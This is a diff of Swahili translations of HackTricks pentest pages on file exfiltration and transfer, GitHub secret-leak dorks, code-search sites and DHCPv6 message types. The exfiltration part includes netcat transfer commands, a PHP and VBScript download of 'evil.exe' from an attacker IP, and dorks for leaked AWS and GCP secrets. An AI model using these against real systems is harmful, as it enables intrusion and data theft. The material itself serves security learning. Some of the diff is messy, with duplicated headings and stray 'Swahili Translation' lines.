@ -221,40 +210,8 @@ sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP addre
|
|||
```
|
||||
## NC
|
||||
|
||||
### Exfiltration
|
||||
|
||||
#### Overview
|
||||
|
||||
Exfiltration is the unauthorized transfer of data from a target. This can be achieved through various methods, such as:
|
||||
|
||||
- **Email**: Sending sensitive data as email attachments.
|
||||
- **FTP**: Transferring data using File Transfer Protocol.
|
||||
- **DNS**: Sending data through DNS requests.
|
||||
- **HTTP/HTTPS**: Using HTTP or HTTPS protocols to exfiltrate data.
|
||||
- **Steganography**: Hiding data within other files to avoid detection.
|
||||
- **Physical**: Removing data physically from a target location.
|
||||
|
||||
#### Detection
|
||||
|
||||
Detecting exfiltration can be challenging due to the covert nature of the activity. Some common detection methods include:
|
||||
|
||||
- **Network Monitoring**: Monitoring network traffic for unusual patterns.
|
||||
- **Endpoint Monitoring**: Monitoring endpoint devices for unauthorized data transfers.
|
||||
- **Data Loss Prevention (DLP)**: Using DLP solutions to detect and prevent data exfiltration.
|
||||
- **Behavioral Analytics**: Analyzing user behavior to identify suspicious activities.
|
||||
- **Encryption**: Implementing encryption to protect data from being exfiltrated.
|
||||
|
||||
#### Prevention
|
||||
|
||||
Preventing exfiltration requires a multi-layered approach to security. Some prevention techniques include:
|
||||
|
||||
- **Access Control**: Limiting access to sensitive data to authorized personnel only.
|
||||
- **Network Segmentation**: Segmenting networks to prevent lateral movement of attackers.
|
||||
- **User Training**: Educating users about the risks of data exfiltration and how to prevent it.
|
||||
- **Security Policies**: Implementing strict security policies to govern data handling practices.
|
||||
- **Security Tools**: Deploying security tools such as firewalls, IDS/IPS, and SIEM solutions to detect and prevent exfiltration attempts.
|
||||
|
||||
By understanding exfiltration techniques and implementing appropriate detection and prevention measures, organizations can better protect their data from unauthorized access and transfer.
|
||||
### Swahili Translation
|
||||
## NC
|
||||
```bash
|
||||
nc -lvnp 4444 > new_file
|
||||
nc -vn <IP> 4444 < exfil_file
|
||||
|
|
@ -295,13 +252,13 @@ sniff(iface="tun0", prn=process_packet)
|
|||
```
|
||||
## **SMTP**
|
||||
|
||||
Ikiwa unaweza kutuma data kwa seva ya SMTP, unaweza kuunda SMTP kupokea data hiyo kwa kutumia python:
|
||||
Ikiwa unaweza kutuma data kwa seva ya SMTP, unaweza kuunda SMTP ili kupokea data na python:
|
||||
```bash
|
||||
sudo python -m smtpd -n -c DebuggingServer :25
|
||||
```
|
||||
## TFTP
|
||||
|
||||
Kwa chaguo-msingi katika XP na 2003 (katika mingine inahitaji kuongezwa wazi wakati wa usakinishaji)
|
||||
Kwa chaguo-msingi katika XP na 2003 (katika wengine inahitaji kuongezwa wazi wakati wa usakinishaji)
|
||||
|
||||
Katika Kali, **anzisha seva ya TFTP**:
|
||||
```bash
|
||||
|
|
@ -327,7 +284,8 @@ echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', '
|
|||
```
|
||||
## VBScript
|
||||
|
||||
VBScript ni lugha ya programu inayotumika sana kwa maendeleo ya skripti za Windows. Inaweza kutumika kwa ufanisi kutekeleza shughuli za uhamishaji wa data kwa njia ya exfiltration.
|
||||
### Swahili Translation
|
||||
## VBScript
|
||||
```bash
|
||||
Attacker> python -m SimpleHTTPServer 80
|
||||
```
|
||||
|
|
@ -365,13 +323,14 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
|||
```
|
||||
## Debug.exe
|
||||
|
||||
Programu ya `debug.exe` sio tu inaruhusu ukaguzi wa binaries lakini pia ina **uwezo wa kujenga upya kutoka hex**. Hii inamaanisha kwamba kwa kutoa hex ya binary, `debug.exe` inaweza kuzalisha faili ya binary. Hata hivyo, ni muhimu kuzingatia kwamba debug.exe ina **kizuizi cha kuunda faili hadi 64 kb in size**.
|
||||
Programu ya `debug.exe` sio tu inaruhusu ukaguzi wa binaries lakini pia ina **uwezo wa kujenga upya kutoka hex**. Hii inamaanisha kwamba kwa kutoa hex ya binary, `debug.exe` inaweza kuzalisha faili ya binary. Walakini, ni muhimu kufahamu kwamba debug.exe ina **kizuizi cha kuunda faili hadi 64 kb in size**.
|
||||
```bash
|
||||
# Reduce the size
|
||||
upx -9 nc.exe
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
```
|
||||
Kisha nakili na ushirikishe maudhui kwenye windows-shell na faili inayoitwa nc.exe itaundwa.
|
||||
```markdown
|
||||
Kisha nakili na kubandika maandishi kwenye windows-shell na faili inayoitwa nc.exe itaundwa.
|
||||
|
||||
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
||||
|
||||
|
|
@ -385,16 +344,18 @@ Kisha nakili na ushirikishe maudhui kwenye windows-shell na faili inayoitwa nc.e
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```
|
||||
|
|
|
|||
|
|
@ -1,31 +1,32 @@
|
|||
# Github Dorks & Leaks
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Mshauri wa tuzo ya mdudu**: **jiandikishe** kwa **Intigriti**, jukwaa la tuzo za mdudu la malipo la juu lililoanzishwa na wadukuzi, kwa wadukuzi! Jiunge nasi kwenye [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata tuzo hadi **$100,000**!
|
||||
**Siri ya tuzo ya mdudu**: **jiandikishe** kwa **Intigriti**, jukwaa la **tuzo za mdudu za malipo lililoundwa na wadukuzi, kwa wadukuzi**! Jiunge nasi kwenye [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata tuzo hadi **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
Sasa tukiwa tumekamilisha orodha ya mali katika wigo wetu, ni wakati wa kutafuta matunda ya chini ya OSINT.
|
||||
Sasa tumeunda orodha ya mali katika wigo wetu ni wakati wa kutafuta matunda ya chini ya OSINT.
|
||||
|
||||
### Majukwaa ambayo tayari yamefanya utafutaji wa uvujaji
|
||||
### Majukwaa ambayo tayari yameshatafuta uvujaji
|
||||
|
||||
* [https://trufflesecurity.com/blog/introducing-forager/](https://trufflesecurity.com/blog/introducing-forager/)
|
||||
|
||||
### Uvujaji wa funguo za API kwenye github
|
||||
### Uvujaji wa funguo za Api kwenye github
|
||||
|
||||
* [https://github.com/dxa4481/truffleHog](https://github.com/dxa4481/truffleHog)
|
||||
* [https://github.com/gitleaks/gitleaks](https://github.com/gitleaks/gitleaks)
|
||||
|
|
@ -321,16 +322,17 @@ GCP SECRET
|
|||
AWS SECRET
|
||||
"private" extension:pgp
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,18 +1,19 @@
|
|||
# Kutafuta Msimbo wa Chanzo Kwa Upana
|
||||
# Kutafuta Kanuni za Chanzo Kwa Upana
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
|
||||
|
|
@ -22,18 +23,18 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
***
|
||||
|
||||
Lengo la ukurasa huu ni kuhesabu **majukwaa yanayoruhusu kutafuta msimbo** (halisi au regex) katika maelfu/mamilioni ya repos kwenye majukwaa moja au zaidi.
|
||||
Lengo la ukurasa huu ni kuhesabu **majukwaa yanayoruhusu kutafuta kanuni** (halisi au regex) katika maelfu/mamilioni ya repos kwenye majukwaa moja au zaidi.
|
||||
|
||||
Hii husaidia katika matukio kadhaa ya **kutafuta taarifa zilizovuja** au kwa mifano ya **mapengo ya usalama**.
|
||||
Hii husaidia katika hali kadhaa za **kutafuta taarifa zilizovuja** au kwa **mifano ya vulnerabilities**.
|
||||
|
||||
* [**SourceGraph**](https://sourcegraph.com/search): Tafuta katika mamilioni ya repos. Kuna toleo la bure na toleo la biashara (na siku 15 za bure). Inasaidia regexes.
|
||||
* [**Github Search**](https://github.com/search): Tafuta kote Github. Inasaidia regexes.
|
||||
* Labda ni muhimu pia kuangalia [**Github Code Search**](https://cs.github.com/).
|
||||
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Tafuta katika miradi ya Gitlab. Inasaidia regexes.
|
||||
* [**SearchCode**](https://searchcode.com/): Tafuta msimbo katika miradi mamilioni.
|
||||
* [**SearchCode**](https://searchcode.com/): Tafuta kanuni katika miradi mamilioni.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Unapotafuta uvujaji katika repo na kuendesha kitu kama `git log -p` usisahau kwamba kunaweza kuwa ** matawi mengine na mabadiliko mengine ** yanayohifadhi siri!
|
||||
Unapotafuta uvujaji katika repo na kuendesha kitu kama `git log -p` usisahau kwamba kunaweza kuwa na ** matawi mengine na commits nyingine** zinazohifadhi siri!
|
||||
{% endhint %}
|
||||
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
|
|
@ -42,16 +43,17 @@ Unapotafuta uvujaji katika repo na kuendesha kitu kama `git log -p` usisahau kwa
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,19 +1,20 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### Linganisha Aina za Ujumbe za DHCPv6 na DHCPv4
|
||||
Tazama ya kulinganisha ya aina za ujumbe za DHCPv6 na DHCPv4 inaonyeshwa katika jedwali hapa chini:
|
||||
### Ulinganisho wa Aina za Ujumbe wa DHCPv6 na DHCPv4
|
||||
Mchoro wa kulinganisha wa aina za ujumbe wa DHCPv6 na DHCPv4 umewasilishwa kwenye jedwali hapa chini:
|
||||
|
||||
| Aina ya Ujumbe wa DHCPv6 | Aina ya Ujumbe wa DHCPv4 |
|
||||
|:-------------------|:-------------------|
|
||||
|
|
@ -28,36 +29,37 @@ Tazama ya kulinganisha ya aina za ujumbe za DHCPv6 na DHCPv4 inaonyeshwa katika
|
|||
| Reconfigure (10) | DHCPFORCERENEW |
|
||||
| Relay-Forw (12), Relay-Reply (13) | hakuna |
|
||||
|
||||
**Maelezo ya Kina ya Aina za Ujumbe za DHCPv6:**
|
||||
**Maelezo ya Kina ya Aina za Ujumbe wa DHCPv6:**
|
||||
|
||||
1. **Solicit (1)**: Inayosababishwa na mteja wa DHCPv6 ili kupata seva zinazopatikana.
|
||||
2. **Advertise (2)**: Inatumwa na seva kujibu Solicit, ikionyesha upatikanaji wa huduma ya DHCP.
|
||||
1. **Solicit (1)**: Kuanzishwa na mteja wa DHCPv6 kutafuta seva zilizopo.
|
||||
2. **Advertise (2)**: Kutumwa na seva kujibu Solicit, ikionyesha upatikanaji wa huduma ya DHCP.
|
||||
3. **Request (3)**: Wateja hutumia hii kuomba anwani za IP au vifungu kutoka kwa seva maalum.
|
||||
4. **Confirm (4)**: Inatumika na mteja kuhakiki ikiwa anwani zilizopewa bado ni halali kwenye mtandao, kawaida baada ya mabadiliko ya mtandao.
|
||||
5. **Renew (5)**: Wateja hutuma hii kwa seva ya awali kuongeza muda wa maisha ya anwani au kusasisha mipangilio.
|
||||
6. **Rebind (6)**: Inatumwa kwa seva yoyote kuongeza muda wa maisha ya anwani au kusasisha mipangilio, hasa wakati hakuna jibu linalopokelewa kwa Renew.
|
||||
7. **Reply (7)**: Seva hutumia hii kutoa anwani, vipimo vya usanidi, au kukubali ujumbe kama Release au Decline.
|
||||
4. **Confirm (4)**: Hutumiwa na mteja kuthibitisha ikiwa anwani zilizopewa bado ni halali kwenye mtandao, kawaida baada ya mabadiliko ya mtandao.
|
||||
5. **Renew (5)**: Wateja hutuma hii kwa seva ya awali kuongeza muda wa anwani au kusasisha mipangilio.
|
||||
6. **Rebind (6)**: Kutumwa kwa seva yoyote kuongeza muda wa anwani au kusasisha mipangilio, hasa wakati hakuna jibu linalopokelewa kwa Renew.
|
||||
7. **Reply (7)**: Seva hutumia hii kutoa anwani, vigezo vya usanidi, au kuthibitisha ujumbe kama Release au Decline.
|
||||
8. **Release (8)**: Wateja huwajulisha seva kuacha kutumia anwani moja au zaidi zilizopewa.
|
||||
9. **Decline (9)**: Inatumwa na wateja kuripoti kuwa anwani zilizopewa zina mgongano kwenye mtandao.
|
||||
10. **Reconfigure (10)**: Seva huchochea wateja kuanzisha shughuli za mipangilio mpya au iliyosasishwa.
|
||||
11. **Information-Request (11)**: Wateja wanatafuta vipimo vya usanidi bila kupewa anwani ya IP.
|
||||
12. **Relay-Forw (12)**: Mawakala wa kuhamisha ujumbe kwa seva.
|
||||
13. **Relay-Repl (13)**: Seva hujibu mawakala wa kuhamisha, ambao kisha hutoa ujumbe kwa mteja.
|
||||
9. **Decline (9)**: Kutumwa na wateja kuripoti kuwa anwani zilizopewa ziko kwenye mgogoro kwenye mtandao.
|
||||
10. **Reconfigure (10)**: Seva huchochea wateja kuanzisha shughuli za mpya au zilizosasishwa.
|
||||
11. **Information-Request (11)**: Wateja wanatafuta vigezo vya usanidi bila kupewa anwani ya IP.
|
||||
12. **Relay-Forw (12)**: Mawakala wa kupeleka ujumbe kwa seva.
|
||||
13. **Relay-Repl (13)**: Seva hujibu mawakala wa kupeleka, ambao kisha hutoa ujumbe kwa mteja.
|
||||
|
||||
## Marejeo
|
||||
* [https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages](https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
